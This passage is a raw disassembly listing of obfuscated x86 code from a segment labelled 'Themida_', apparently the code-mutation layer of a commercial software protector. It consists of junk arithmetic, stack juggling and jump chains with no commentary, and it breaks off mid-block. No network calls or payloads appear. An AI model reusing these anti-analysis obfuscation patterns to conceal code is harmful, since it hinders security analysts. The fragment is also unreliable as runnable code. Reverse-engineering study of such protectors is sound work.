loc_55E6BF: ; CODE XREF: Themida_:00557FCDj
pop eax
xor esi, [esp]
xor [esp], esi
jmp loc_5599A4
; ---------------------------------------------------------------------------
loc_55E6CB: ; CODE XREF: Themida_:0055CF00j
sub ecx, 40C03967h
sub ecx, 2E9E7ED8h
or edi, ecx
pop ecx
jmp loc_5630F8
; ---------------------------------------------------------------------------
loc_55E6DF: ; CODE XREF: Themida_:0055BBE7j
mov ecx, 0D046478h
mov ebp, 0D7D744FDh
xor ebp, ecx
jmp loc_55BAC5
; ---------------------------------------------------------------------------
loc_55E6F0: ; CODE XREF: Themida_:0055526Aj
pop bx
neg al
dec al
xor al, 0C1h
mov bh, al
mov eax, [esp]
add esp, 4
sub bh, 9Ah
and bh, 9Eh
push ecx
mov ch, 19h
neg ch
shr ch, 2
dec ch
not ch
inc ch
and ch, 2Ah
jmp loc_55A560
; ---------------------------------------------------------------------------
loc_55E71F: ; CODE XREF: Themida_:00552195j
pop ebx
xchg ebp, [esp]
mov esp, [esp]
jmp loc_559953
; ---------------------------------------------------------------------------
loc_55E72B: ; CODE XREF: Themida_:00557430j
xchg edi, [esp]
mov esp, [esp]
mov [esp], ecx
jmp loc_5562CB
; ---------------------------------------------------------------------------
loc_55E739: ; CODE XREF: Themida_:00560A8Bj
pop dword ptr [esp]
mov esp, [esp]
mov [esp], edx
sub esp, 4
mov [esp], ebx
push 61AA0447h
pop ebx
add ebx, 3AD76012h
jmp loc_55D682
; ---------------------------------------------------------------------------
loc_55E759: ; CODE XREF: Themida_:00557194j
pop ecx
push edx
mov dh, 5Eh
or dh, 0F0h
jmp loc_56318B
; ---------------------------------------------------------------------------
loc_55E765: ; CODE XREF: Themida_:0055CB8Ej
mov esp, [esp]
xor [esp], ax
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_55E772: ; CODE XREF: Themida_:0055A528j
xchg eax, [esp]
mov esp, [esp]
jmp loc_550420
; ---------------------------------------------------------------------------
loc_55E77D: ; CODE XREF: Themida_:0055307Ej
push ebp
push esi
mov esi, 45451917h
jmp loc_55C077
; ---------------------------------------------------------------------------
loc_55E789: ; CODE XREF: Themida_:0055A040j
push dword ptr [esp]
pop eax
jmp loc_559FF5
; ---------------------------------------------------------------------------
loc_55E792: ; CODE XREF: Themida_:00552B5Fj
add ecx, esi
add ecx, 46D856C2h
pop esi
xchg ecx, [esp]
pop esp
push ecx
mov ecx, 6D437309h
add eax, ecx
pop ecx
jmp loc_56533E
; ---------------------------------------------------------------------------
loc_55E7AD: ; CODE XREF: Themida_:00554BADj
mov ecx, [esp]
push eax
mov eax, esp
jmp loc_559087
; ---------------------------------------------------------------------------
loc_55E7B8: ; CODE XREF: Themida_:0055D1EFj
mov ah, dh
pop edx
xor ah, dl
pop edx
mov dh, ah
jmp loc_55F48A
; ---------------------------------------------------------------------------
loc_55E7C5: ; CODE XREF: Themida_:0056502Dj
mov [esp], ecx
mov ecx, esp
push ebx
mov ebx, 74946A36h
push edx
push ebp
mov ebp, 7BD756ADh
mov edx, ebp
mov ebp, [esp]
add esp, 4
xor ebx, edx
jmp loc_55D7C3
; ---------------------------------------------------------------------------
loc_55E7E6: ; CODE XREF: Themida_:00563C3Cj
pop edx
jmp loc_55640F
; ---------------------------------------------------------------------------
loc_55E7EC: ; CODE XREF: Themida_:00563A7Cj
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], esi
push ebx
mov ebx, 66E92E87h
mov esi, ebx
jmp loc_5572EB
; ---------------------------------------------------------------------------
loc_55E80C: ; CODE XREF: Themida_:00560A7Ej
and bl, 0AFh
push edx
mov dl, 11h
or dl, 49h
dec dl
neg dl
push ecx
mov cl, 9Fh
jmp loc_55DF57
; ---------------------------------------------------------------------------
loc_55E821: ; CODE XREF: Themida_:00558CC1j
pop esp
or [edi+1Ch], ecx
pop ecx
jmp loc_55DDB6
; ---------------------------------------------------------------------------
loc_55E82B: ; CODE XREF: Themida_:0055A117j
push ebx
jmp loc_564C2D
; ---------------------------------------------------------------------------
loc_55E831: ; CODE XREF: Themida_:0055D2D8j
push 75DDh
mov [esp], eax
push 7E9Fh
jmp loc_5613C5
; ---------------------------------------------------------------------------
loc_55E843: ; CODE XREF: Themida_:00561983j
push ebx
jmp loc_561374
; ---------------------------------------------------------------------------
loc_55E849: ; CODE XREF: Themida_:0056531Ej
sub ecx, esi
pop esi
shl ecx, 8
inc ecx
shl ecx, 3
jmp loc_555C9A
; ---------------------------------------------------------------------------
loc_55E858: ; CODE XREF: Themida_:0055DADAj
pop ecx
push ebp
jmp loc_554906
; ---------------------------------------------------------------------------
loc_55E85F: ; CODE XREF: Themida_:0055ADACj
mov [esp], ecx
push eax
mov eax, 3FCh
push esi
push eax
jmp loc_562234
; ---------------------------------------------------------------------------
loc_55E86F: ; CODE XREF: Themida_:0055EAEDj
pop esp
sub esp, 4
mov [esp], edi
push dword ptr [esp+4]
mov edi, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
imul ecx, eax
jmp loc_55F72F
; ---------------------------------------------------------------------------
loc_55E88F: ; CODE XREF: Themida_:00556F86j
pop ecx
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
mov [esp], ebx
push 1331h
mov [esp], edi
push edx
jmp loc_563B24
; ---------------------------------------------------------------------------
loc_55E8AD: ; CODE XREF: Themida_:00556124j
push 0B0B0C702h
jmp loc_563684
; ---------------------------------------------------------------------------
loc_55E8B7: ; CODE XREF: Themida_:00558FACj
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
sub ebp, esi
pop esi
mov edi, [esp]
push ebp
mov ebp, esp
push edi
mov edi, 4CB20C3h
shl edi, 5
jmp loc_556ADE
; ---------------------------------------------------------------------------
loc_55E8DD: ; CODE XREF: Themida_:00562189j
pop edi
add esp, 4
sub ebp, 2801000h
add eax, ebp
mov ebp, [esp]
jmp loc_558EF2
; ---------------------------------------------------------------------------
loc_55E8F4: ; CODE XREF: Themida_:005608F2j
sub edx, 1ED57BACh
pop eax
push ecx
mov ecx, 6A024D0Fh
shl ecx, 8
add ecx, 0FFFFFFFFh
shr ecx, 4
neg ecx
shr ecx, 7
jmp loc_55FCB5
; ---------------------------------------------------------------------------
loc_55E914: ; CODE XREF: Themida_:00563907j
mov edx, ecx
mov edi, edx
pop edx
jmp loc_558E5C
; ---------------------------------------------------------------------------
loc_55E91E: ; CODE XREF: Themida_:0055FF22j
pop ecx
neg ecx
xor ecx, 468D7AB1h
jmp loc_557790
; ---------------------------------------------------------------------------
loc_55E92C: ; CODE XREF: Themida_:00556679j
mov ebp, edx
pop edx
jmp loc_559771
; ---------------------------------------------------------------------------
loc_55E934: ; CODE XREF: Themida_:0055A944j
sub esp, 4
mov [esp], edx
mov edx, 1470710Dh
mov edi, edx
jmp loc_564A75
; ---------------------------------------------------------------------------
loc_55E949: ; CODE XREF: Themida_:005608C1j
mov [esp], esi
push 1DEE1704h
pop esi
add esi, 0E211E900h
mov ebp, esi
jmp loc_55D526
; ---------------------------------------------------------------------------
loc_55E95F: ; CODE XREF: Themida_:00554951j
push ebp
jmp loc_5634F5
; ---------------------------------------------------------------------------
loc_55E965: ; CODE XREF: Themida_:00565212j
xchg edx, [esp]
pop esp
mov [esp], ecx
mov ecx, 4
add edi, 143B48C7h
add edi, ecx
sub edi, 143B48C7h
jmp loc_557518
; ---------------------------------------------------------------------------
loc_55E984: ; CODE XREF: Themida_:0055EE92j
pop esi
push ebp
mov ebp, 74594E5Dh
add ebx, 73D81043h
sub ebx, ebp
push edi
mov edi, 241F1A1Ah
neg edi
xor edi, 75030F82h
jmp loc_563ADB
; ---------------------------------------------------------------------------
loc_55E9A6: ; CODE XREF: Themida_:005659A4j
push dword ptr [esp]
pop edx
jmp loc_5560DD
; ---------------------------------------------------------------------------
loc_55E9AF: ; CODE XREF: Themida_:0055D455j
sub edi, 8BD3754h
shl edi, 4
xor edi, 0B5EB1F84h
push esi
jmp loc_5618A5
; ---------------------------------------------------------------------------
loc_55E9C4: ; CODE XREF: Themida_:00562B98j
pop edi
push 0
push dword ptr [esp]
mov ebx, [esp]
jmp loc_553117
; ---------------------------------------------------------------------------
loc_55E9D5: ; CODE XREF: Themida_:00562FADj
push esi
jmp loc_55F922
; ---------------------------------------------------------------------------
loc_55E9DB: ; CODE XREF: Themida_:005568A6j
add eax, 671903A3h
jmp loc_563AB7
; ---------------------------------------------------------------------------
loc_55E9E5: ; CODE XREF: Themida_:00562170j
pop esp
pop ecx
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
push ebp
jmp loc_556FE3
; ---------------------------------------------------------------------------
loc_55E9F6: ; CODE XREF: Themida_:005622DCj
push ebp
mov ebp, 4
add edi, ebp
pop ebp
add edi, 4
xchg edi, [esp]
jmp loc_553C83
; ---------------------------------------------------------------------------
loc_55EA0D: ; CODE XREF: Themida_:005649D9j
mov edi, 76D83573h
sub eax, edi
jmp loc_557373
; ---------------------------------------------------------------------------
loc_55EA19: ; CODE XREF: Themida_:00561A47j
dec ebx
add ebx, 0E36A1CADh
add esi, ebx
pop ebx
jmp loc_55AD4A
; ---------------------------------------------------------------------------
loc_55EA28: ; CODE XREF: Themida_:005649CFj
pop dword ptr [esp]
pop esp
jmp loc_55B991
; ---------------------------------------------------------------------------
loc_55EA31: ; CODE XREF: Themida_:00560793j
push edi
push ebp
push 3C7215BAh
jmp loc_55EF7B
; ---------------------------------------------------------------------------
loc_55EA3D: ; CODE XREF: Themida_:00562E8Bj
pop eax
push dword ptr [esp]
pop edi
add esp, 4
push 75A7h
mov [esp], edx
mov edx, 15FE0301h
push ecx
mov ecx, 7FCD743Ah
jmp loc_554372
; ---------------------------------------------------------------------------
loc_55EA5D: ; CODE XREF: Themida_:0055579Dj
xchg ecx, [esp]
pop esp
sub esp, 4
mov [esp], edi
mov edi, 6DE94B01h
jmp loc_561F96
; ---------------------------------------------------------------------------
loc_55EA71: ; CODE XREF: Themida_:00552CAEj
push ecx
mov ecx, 639526F6h
shr ecx, 4
add ecx, 0FFFFFFFFh
jmp loc_5619C4
; ---------------------------------------------------------------------------
loc_55EA85: ; CODE XREF: Themida_:0055A04Aj
sub ebp, edx
pop edx
xor ecx, ebp
pop ebp
add eax, ecx
jmp loc_555350
; ---------------------------------------------------------------------------
loc_55EA92: ; CODE XREF: Themida_:00559E3Fj
push esi
push ebp
push 4E83428Dh
pop ebp
push ebx
push edi
mov edi, 4A9D7676h
jmp loc_55B698
; ---------------------------------------------------------------------------
loc_55EAA6: ; CODE XREF: Themida_:00564E8Bj
mov ebp, 5E113248h
jmp loc_563FAE
; ---------------------------------------------------------------------------
loc_55EAB0: ; CODE XREF: Themida_:0055AAAEj
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
sub bh, 0ADh
jmp loc_5603B4
; ---------------------------------------------------------------------------
loc_55EAC7: ; CODE XREF: Themida_:0055FA56j
add ebx, 32857D33h
pop eax
jmp loc_55B33E
; ---------------------------------------------------------------------------
loc_55EAD3: ; CODE XREF: Themida_:005519F1j
push esi
jmp loc_55648F
; ---------------------------------------------------------------------------
loc_55EAD9: ; CODE XREF: Themida_:0055B133j
add edi, ecx
mov ecx, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
jmp loc_55E86F
; ---------------------------------------------------------------------------
loc_55EAF2: ; CODE XREF: Themida_:00553915j
xor edx, 142C2373h
sub edx, 0F6C62EBFh
add ecx, edx
pop edx
add ecx, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
push ebp
mov ebp, 3EFF0C61h
jmp loc_55067E
; ---------------------------------------------------------------------------
loc_55EB1C: ; CODE XREF: Themida_:00557DC8j
shl edx, 3
push ebp
mov ebp, 0E02378D4h
sub edx, ebp
pop ebp
jmp loc_5646EB
; ---------------------------------------------------------------------------
loc_55EB2D: ; CODE XREF: Themida_:0055528Aj
mov edi, [esp]
add esp, 4
add edx, 462154D8h
jmp loc_55F736
; ---------------------------------------------------------------------------
loc_55EB41: ; CODE XREF: Themida_:0055C979j
mov edi, [esp]
push ecx
mov ecx, esp
jmp loc_55D636
; ---------------------------------------------------------------------------
loc_55EB4C: ; CODE XREF: Themida_:00552C17j
add esp, 4
xchg esi, [esp]
pop esp
push small 2660h
mov [esp], bx
push 1E29h
mov [esp], ecx
mov ch, 0CBh
push 0
add byte ptr [esp], 7
jmp loc_559D16
; ---------------------------------------------------------------------------
loc_55EB73: ; CODE XREF: Themida_:0055F76Bj
push 2C5Fh
mov [esp], ecx
jmp loc_551491
; ---------------------------------------------------------------------------
loc_55EB80: ; CODE XREF: Themida_:00552811j
pop esp
push edx
mov dl, 6Fh
push bx
mov bh, 34h
sub dl, bh
jmp loc_563E86
; ---------------------------------------------------------------------------
loc_55EB8F: ; CODE XREF: Themida_:0055772Fj
add al, dl
pop dx
jmp loc_55A813
; ---------------------------------------------------------------------------
loc_55EB98: ; CODE XREF: Themida_:005633F6j
mov ebx, [esp]
jmp loc_55C52F
; ---------------------------------------------------------------------------
loc_55EBA0: ; CODE XREF: Themida_:0055C101j
add dh, 0F0h
add dh, 0E5h
mov bh, dh
pop edx
jmp loc_562D6D
; ---------------------------------------------------------------------------
loc_55EBAE: ; CODE XREF: Themida_:005553EAj
add eax, 4E84BFCEh
sub ebx, 34977A1Ch
sub ebx, eax
jmp loc_55423B
; ---------------------------------------------------------------------------
loc_55EBC0: ; CODE XREF: Themida_:005581ECj
push ebx
mov ebx, ebp
push ebx
pop eax
pop ebx
mov ebp, [esp]
jmp loc_55A832
; ---------------------------------------------------------------------------
loc_55EBCE: ; CODE XREF: Themida_:00562461j
dec ebx
xor ebx, 2897AAEh
mov ecx, ebx
pop ebx
jmp loc_55A50F
; ---------------------------------------------------------------------------
loc_55EBDD: ; CODE XREF: Themida_:00551C95j
add edx, ebx
jmp loc_55C1A0
; ---------------------------------------------------------------------------
loc_55EBE4: ; CODE XREF: Themida_:0055FBE5j
pop eax
add esp, 4
sub ebx, 42ED3787h
add ebp, ebx
jmp loc_55FF35
; ---------------------------------------------------------------------------
loc_55EBF8: ; CODE XREF: Themida_:005647CDj
pop esp
mov [esp], eax
mov eax, esp
push edi
mov edi, 0AB44BAEh
shr edi, 8
shr edi, 8
or edi, 73FB6899h
jmp loc_553E9B
; ---------------------------------------------------------------------------
loc_55EC15: ; CODE XREF: Themida_:00560EA5j
mov edi, esp
add edi, 4
sub edi, 4
jmp loc_56381E
; ---------------------------------------------------------------------------
loc_55EC28: ; CODE XREF: Themida_:0055675Aj
add esp, 4
pop edi
push ebp
push 250h
mov [esp], eax
push 4D0643Ah
pop eax
xor eax, 3C620338h
push eax
pop ebp
mov eax, [esp]
add esp, 4
push esi
push edi
push 25B9h
mov [esp], ebp
mov ebp, 1A813C2Ah
mov edi, 5333A32Dh
sub edi, ebp
pop ebp
sub esp, 4
mov [esp], edi
pop esi
mov edi, [esp]
jmp loc_55077A
; ---------------------------------------------------------------------------
loc_55EC77: ; CODE XREF: Themida_:00550D44j
push ebp
push edi
push 31283817h
pop edi
shr edi, 8
jmp loc_55FD14
; ---------------------------------------------------------------------------
loc_55EC87: ; CODE XREF: Themida_:0056048Cj
mov [esp], esi
push edx
push 56C10B2Bh
mov edx, [esp]
add esp, 4
jmp loc_564B4E
; ---------------------------------------------------------------------------
loc_55EC9B: ; CODE XREF: Themida_:00555DFDj
mov ecx, 6B875D13h
neg ecx
add ecx, 393F2144h
jmp loc_560F9D
; ---------------------------------------------------------------------------
loc_55ECAD: ; CODE XREF: Themida_:00561891j
sub eax, ebx
add eax, 6BDE5BBBh
sub eax, 209135FFh
sub eax, 43AF6A7Dh
jmp loc_55F23C
; ---------------------------------------------------------------------------
loc_55ECC3: ; CODE XREF: Themida_:00560A43j
mov ebx, 6B440506h
dec ebx
xor ebx, 352663F8h
sub ebx, 5E6266F9h
jmp loc_556540
; ---------------------------------------------------------------------------
loc_55ECDA: ; CODE XREF: Themida_:0055ADC0j
pop edx
sub al, 8
push small 792Bh
jmp loc_55EE31
; ---------------------------------------------------------------------------
loc_55ECE6: ; CODE XREF: Themida_:0056305Cj
push ecx
push dword ptr [esp+4]
pop ecx
jmp loc_564187
; ---------------------------------------------------------------------------
loc_55ECF1: ; CODE XREF: Themida_:0055A702j
add edi, ebx
jmp loc_556C6B
; ---------------------------------------------------------------------------
loc_55ECF8: ; CODE XREF: Themida_:0055D0E8j
add ebp, 4
add ebp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
sub edi, eax
pop eax
sub edi, 70216A5Bh
sub edi, 77054E89h
add edi, ecx
add edi, 77054E89h
add edi, 70216A5Bh
add edi, 7E21219Ah
std
push 43DDh
mov [esp], eax
mov eax, esp
push edi
jmp loc_55503C
; ---------------------------------------------------------------------------
loc_55ED41: ; CODE XREF: Themida_:00564305j
add esp, 4
jmp loc_557AF1
; ---------------------------------------------------------------------------
loc_55ED4C: ; CODE XREF: Themida_:00553545j
sub ebx, 7354614Fh
sub ebx, esi
push 467h
mov [esp], esi
mov esi, 77E03DF8h
sub esi, 48BDCA9h
add ebx, esi
pop esi
sub ebx, 0FD411DEh
jmp loc_55777F
; ---------------------------------------------------------------------------
loc_55ED75: ; CODE XREF: Themida_:005566BFj
push edx
mov edx, 278C7679h
shl edx, 7
jmp loc_55C4F3
; ---------------------------------------------------------------------------
loc_55ED83: ; CODE XREF: Themida_:005529A9j
inc eax
push ecx
mov ecx, 18166449h
xor eax, ecx
jmp loc_552AF8
; ---------------------------------------------------------------------------
loc_55ED91: ; CODE XREF: Themida_:00550775j
xor al, 0A1h
or dl, al
pop eax
jmp loc_55A7CB
; ---------------------------------------------------------------------------
loc_55ED9B: ; CODE XREF: Themida_:005607E9j
mov edx, 0
sub edx, 4DC109C7h
sub edx, ecx
add edx, 4DC109C7h
push esi
mov esi, edx
jmp loc_561AEE
; ---------------------------------------------------------------------------
loc_55EDB6: ; CODE XREF: Themida_:0055A760j
sub ebx, 4
xchg ebx, [esp]
pop esp
push 3358h
jmp loc_562C6F
; ---------------------------------------------------------------------------
loc_55EDCA: ; CODE XREF: Themida_:00555940j
and al, 77h
sub al, 7Bh
or al, 0F1h
push ebx
jmp loc_554B53
; ---------------------------------------------------------------------------
loc_55EDD6: ; CODE XREF: Themida_:005514E1j
xor ecx, eax
xor eax, ecx
sub esp, 4
mov [esp], ecx
xor [esp], edx
xor edx, [esp]
xor [esp], edx
jmp loc_552FE5
; ---------------------------------------------------------------------------
loc_55EDEE: ; CODE XREF: Themida_:0055FD2Fj
sub eax, edi
push dword ptr [esp]
pop edi
add esp, 4
sub dword ptr [esp], 1F7F0D86h
add [esp], eax
push 904h
jmp loc_558931
; ---------------------------------------------------------------------------
loc_55EE0E: ; CODE XREF: Themida_:00552144j
mov ebp, esp
push ebx
mov ebx, 3DA172DCh
jmp loc_551EAE
; ---------------------------------------------------------------------------
loc_55EE1B: ; CODE XREF: Themida_:00557C86j
sub ecx, 1F59481Ch
jmp loc_55AA4B
; ---------------------------------------------------------------------------
loc_55EE26: ; CODE XREF: Themida_:00559A12j
add ebx, 4
jmp loc_55C893
; ---------------------------------------------------------------------------
loc_55EE31: ; CODE XREF: Themida_:0055ECE1j
mov [esp], dx
push eax
sub esp, 4
mov [esp], ecx
jmp loc_559A92
; ---------------------------------------------------------------------------
loc_55EE41: ; CODE XREF: Themida_:00557BD6j
add ebx, 3CD23762h
inc ebx
shl ebx, 4
and ebx, 5E361994h
add ebx, 174B53C3h
add edi, ebx
pop ebx
push eax
push 146661DBh
pop eax
add edi, 1C6B580Ch
sub edi, eax
sub edi, 1C6B580Ch
pop eax
push eax
jmp loc_554AF5
; ---------------------------------------------------------------------------
loc_55EE76: ; CODE XREF: Themida_:00560DBCj
xor ebx, 0E9763F89h
xor ecx, ebx
pop ebx
jmp loc_5604DB
; ---------------------------------------------------------------------------
loc_55EE84: ; CODE XREF: Themida_:00551753j
push 52DB1B7Ch
pop esi
sub esi, 52DB1B7Ah
mov edx, esi
jmp loc_55E984
; ---------------------------------------------------------------------------
loc_55EE97: ; CODE XREF: Themida_:00551B6Bj
mov esp, [esp]
mov ax, [esp]
push eax
sub esp, 4
jmp loc_560B83
; ---------------------------------------------------------------------------
loc_55EEA7: ; CODE XREF: Themida_:00563374j
push edx
jmp loc_55CF5F
; ---------------------------------------------------------------------------
mov cx, [esp]
push 5850h
mov [esp], ebx
push esp
mov ebx, [esp]
add esp, 4
push 3FA8h
mov [esp], eax
push 4
pop eax
push ebp
mov ebp, 24AC71B7h
not ebp
and ebp, 77724951h
add ebp, 0D9924F31h
push ecx
mov ecx, 39D30A3Eh
jmp loc_564503
; ---------------------------------------------------------------------------
loc_55EEED: ; CODE XREF: Themida_:00564D1Bj
cmp ecx, eax
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_55EEF5: ; CODE XREF: Themida_:0055759Fj
pop esi
add esp, 4
add esi, 5B1DCB3Dh
sub eax, 7F207A9Ah
jmp loc_55DF31
; ---------------------------------------------------------------------------
loc_55EF09: ; CODE XREF: Themida_:0055BDEFj
pop ebx
jmp loc_55AD6C
; ---------------------------------------------------------------------------
loc_55EF0F: ; CODE XREF: Themida_:005519BBj
mov ah, dh
jmp loc_56079F
; ---------------------------------------------------------------------------
loc_55EF16: ; CODE XREF: Themida_:00555CD0j
mov [esp], ecx
jmp loc_560A0F
; ---------------------------------------------------------------------------
loc_55EF1E: ; CODE XREF: Themida_:00557251j
pop edi
push esi
mov esi, 59BB353Dh
xor ebx, esi
pop esi
push ebx
add dword ptr [esp], 0FFFFFFFFh
pop ebx
jmp loc_5551D9
; ---------------------------------------------------------------------------
loc_55EF33: ; CODE XREF: Themida_:005567F3j
pop esp
mov [esp], edx
mov edx, 38002E0Bh
sub eax, edx
pop edx
jmp loc_55DDC8
; ---------------------------------------------------------------------------
loc_55EF44: ; CODE XREF: Themida_:00557446j
pop esp
push ebp
mov ebp, 2
add ecx, ebp
pop ebp
push ecx
push dword ptr [esp+4]
push dword ptr [esp]
jmp loc_555820
; ---------------------------------------------------------------------------
loc_55EF5B: ; CODE XREF: Themida_:0056213Ej
sub edx, 8051B3E6h
sub ebp, 264D1577h
jmp loc_56034F
; ---------------------------------------------------------------------------
loc_55EF6C: ; CODE XREF: Themida_:005560C5j
push esi
push ebx
mov ebx, 2010222Bh
mov esi, ebx
pop ebx
jmp loc_563DA4
; ---------------------------------------------------------------------------
loc_55EF7B: ; CODE XREF: Themida_:0055EA38j
pop ebp
jmp loc_55DD64
; ---------------------------------------------------------------------------
loc_55EF81: ; CODE XREF: Themida_:00558092j
push edx
mov edx, 0EDC077Bh
shl edx, 6
xor edx, 3AD6033Ch
sub edx, 40C481F0h
sub ebx, 259D76F9h
add ebx, edx
add ebx, 259D76F9h
pop edx
sub esp, 4
mov [esp], esi
jmp loc_55528F
; ---------------------------------------------------------------------------
loc_55EFB0: ; CODE XREF: Themida_:00563CABj
mov ebx, 0EA33C7Dh
not ebx
shl ebx, 3
jmp loc_56006E
; ---------------------------------------------------------------------------
loc_55EFBF: ; CODE XREF: Themida_:005556E0j
mov ebp, 32426CC6h
sub [esp+4], ebp
pop ebp
mov edx, [esp]
jmp loc_556EF1
; ---------------------------------------------------------------------------
loc_55EFD1: ; CODE XREF: Themida_:005522BCj
mov [esp], eax
push ebp
jmp loc_5643C4
; ---------------------------------------------------------------------------
loc_55EFDA: ; CODE XREF: Themida_:0055BA4Cj
pop eax
sub dl, bh
add dl, 0DBh
mov ebx, [esp]
add esp, 4
sub al, 6Bh
jmp loc_55AEE2
; ---------------------------------------------------------------------------
loc_55EFF0: ; CODE XREF: Themida_:0055D31Aj
pop eax
sub esi, ebx
pop ebx
jmp loc_55B6FF
; ---------------------------------------------------------------------------
loc_55EFF9: ; CODE XREF: Themida_:0056279Ej
mov bh, [esp+2]
mov [esp+2], dl
mov dx, [esp]
push ecx
mov ecx, esp
add ecx, 4
push ebx
mov ebx, 2
add ecx, ebx
pop ebx
xchg ecx, [esp]
pop esp
jmp loc_550420
; ---------------------------------------------------------------------------
loc_55F020: ; CODE XREF: Themida_:00561DABj
add eax, esi
mov esi, [esp]
jmp loc_556509
; ---------------------------------------------------------------------------
loc_55F02A: ; CODE XREF: Themida_:0055616Bj
push 277h
mov [esp], ebp
mov ebp, 6B6D538Fh
push 3E8Ch
mov [esp], ebp
jmp loc_55370B
; ---------------------------------------------------------------------------
loc_55F044: ; CODE XREF: Themida_:00563297j
add eax, 29760E7Bh
jmp loc_562E1E
; ---------------------------------------------------------------------------
loc_55F04E: ; CODE XREF: Themida_:00565929j
shl ecx, 4
push edi
sub esp, 4
mov [esp], ebp
jmp loc_55F50D
; ---------------------------------------------------------------------------
loc_55F05D: ; CODE XREF: Themida_:00556B4Cj
sub ecx, edi
pop edi
jmp loc_560033
; ---------------------------------------------------------------------------
loc_55F065: ; CODE XREF: Themida_:00563F65j
push edx
mov edx, 1BB10711h
dec edx
not edx
add edx, 1BB10715h
mov esi, edx
pop edx
jmp loc_55ADC5
; ---------------------------------------------------------------------------
loc_55F07C: ; CODE XREF: Themida_:00555D11j
push edi
jmp loc_55F396
; ---------------------------------------------------------------------------
loc_55F082: ; CODE XREF: Themida_:00550580j
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
mov ax, [esp]
push 7CDEh
mov [esp], esi
push 25D2h
mov [esp], esp
add dword ptr [esp], 4
mov esi, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
sub esp, 4
mov [esp], ebx
mov ebx, 4
jmp loc_550C4D
; ---------------------------------------------------------------------------
loc_55F0CF: ; CODE XREF: Themida_:00564395j
pop edi
sub esp, 4
jmp loc_5626BA
; ---------------------------------------------------------------------------
loc_55F0D8: ; CODE XREF: Themida_:0055E191j
xchg ebp, [esp]
mov esp, [esp]
bt [esp], ax
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_55F0E9: ; CODE XREF: Themida_:005642CBj
not eax
sub eax, 0A5DF9F7h
add ecx, eax
mov eax, [esp]
push edx
mov edx, esp
add edx, 4
push eax
mov eax, 4
add edx, eax
pop eax
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
pop esp
push ebx
mov ebx, 4
jmp loc_55CE1C
; ---------------------------------------------------------------------------
loc_55F11C: ; CODE XREF: Themida_:0055FDF9j
sub esp, 2
mov [esp], cx
mov ch, 0D2h
add al, ch
mov cx, [esp]
jmp loc_55887D
; ---------------------------------------------------------------------------
loc_55F130: ; CODE XREF: Themida_:00565B78j
mov eax, edi
jmp loc_55672C
; ---------------------------------------------------------------------------
loc_55F137: ; CODE XREF: Themida_:00561320j
add ebx, 4
jmp loc_557440
; ---------------------------------------------------------------------------
lodsb
jmp loc_55F545
; ---------------------------------------------------------------------------
loc_55F148: ; CODE XREF: Themida_:00560918j
push ebx
mov ebx, 121F67D9h
and ebx, 2601331Fh
push ecx
mov ecx, 37923609h
sub ecx, 12A07EFDh
add ecx, 0F4FA6FB5h
or ebx, ecx
jmp loc_559B05
; ---------------------------------------------------------------------------
loc_55F16D: ; CODE XREF: Themida_:00554408j
shr eax, 2
shl eax, 7
add eax, 17496A1Fh
sub ebx, eax
mov eax, [esp]
add esp, 4
sub ebx, 48FA09C5h
sub ebx, ecx
jmp loc_55C7B1
; ---------------------------------------------------------------------------
loc_55F18D: ; CODE XREF: Themida_:0055982Ej
push ebp
mov ebp, 0DB796148h
jmp loc_55B2D2
; ---------------------------------------------------------------------------
loc_55F198: ; CODE XREF: Themida_:00562F80j
sub esi, 79A516DCh
add esi, edx
add esi, 79A516DCh
push ebp
push 5E61h
mov [esp], edx
mov edx, 57241459h
mov ebp, edx
mov edx, [esp]
add esp, 4
push 0BBCh
mov [esp], ebp
jmp loc_55B188
; ---------------------------------------------------------------------------
loc_55F1C9: ; CODE XREF: Themida_:00551833j
sub ebp, 76AF04C3h
jmp loc_5612F4
; ---------------------------------------------------------------------------
push small 1906h
push small 8B7h
push sp
pop small word ptr [esp]
sub esp, 2
mov [esp], di
push eax
mov ax, 2
push ax
add word ptr [esp], 289Ch
pop di
sub di, 289Ch
jmp loc_55BF90
; ---------------------------------------------------------------------------
loc_55F202: ; CODE XREF: Themida_:0055BA40j
push edi
mov edi, 32AC16BFh
jmp loc_55B8FF
; ---------------------------------------------------------------------------
loc_55F20D: ; CODE XREF: Themida_:00560270j
dec ecx
sub ecx, 7AE5A543h
jmp loc_551527
; ---------------------------------------------------------------------------
loc_55F219: ; CODE XREF: Themida_:00553864j
sub esp, 4
mov [esp], ebx
push ecx
jmp loc_555457
; ---------------------------------------------------------------------------
loc_55F228: ; CODE XREF: Themida_:005526A4j
add ecx, 4
sub esp, 4
mov [esp], ebp
jmp loc_55FBCC
; ---------------------------------------------------------------------------
loc_55F23C: ; CODE XREF: Themida_:0055ECBEj
push 610Ch
mov [esp], esi
mov esi, 70EB34E9h
push 11E3h
mov [esp], ebp
mov ebp, 0D4FA7EB3h
push edi
jmp loc_555A21
; ---------------------------------------------------------------------------
loc_55F25C: ; CODE XREF: Themida_:00560653j
jmp loc_550420
; ---------------------------------------------------------------------------
loc_55F261: ; CODE XREF: Themida_:0055E3E9j
shl ebp, 5
jmp loc_55F618
; ---------------------------------------------------------------------------
loc_55F269: ; CODE XREF: Themida_:0055D8F2j
pop ecx
jmp loc_556E73
; ---------------------------------------------------------------------------
loc_55F26F: ; CODE XREF: Themida_:00565B54j
pop ecx
add esp, 4
xor esi, 0D076B94Bh
jmp loc_552D24
; ---------------------------------------------------------------------------
loc_55F27E: ; CODE XREF: Themida_:00554FA0j
mov eax, esp
add eax, 4
